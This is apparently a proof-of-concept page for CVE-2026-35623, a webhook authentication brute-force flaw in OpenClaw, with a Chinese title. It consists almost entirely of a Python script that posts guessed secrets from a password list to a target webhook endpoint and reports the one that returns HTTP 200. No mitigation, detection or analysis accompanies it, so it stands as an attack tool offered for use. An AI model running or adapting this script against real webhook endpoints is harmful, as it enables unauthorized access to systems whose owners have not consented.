CVE-2026-35623 OpenClaw Webhook认证暴力破解漏洞

import requests # Target configuration target_url = "http://target-ip:port/webhook/endpoint" password_list = ["admin", "password", "123456", "secret"] headers = { "Content-Type": "application/json" } # Brute-force loop for password in password_list: # Example payload structure, adjust based on actual OpenClaw implementation payload = { "secret": password, "data": "test_payload" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=5) # Check for successful authentication indicators (e.g., HTTP 200 OK) if response.status_code == 200: print(f"[+] Password found: {password}") print(f"[+] Response: {response.text}") break else: print(f"[-] Failed attempt with password: {password}") except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}")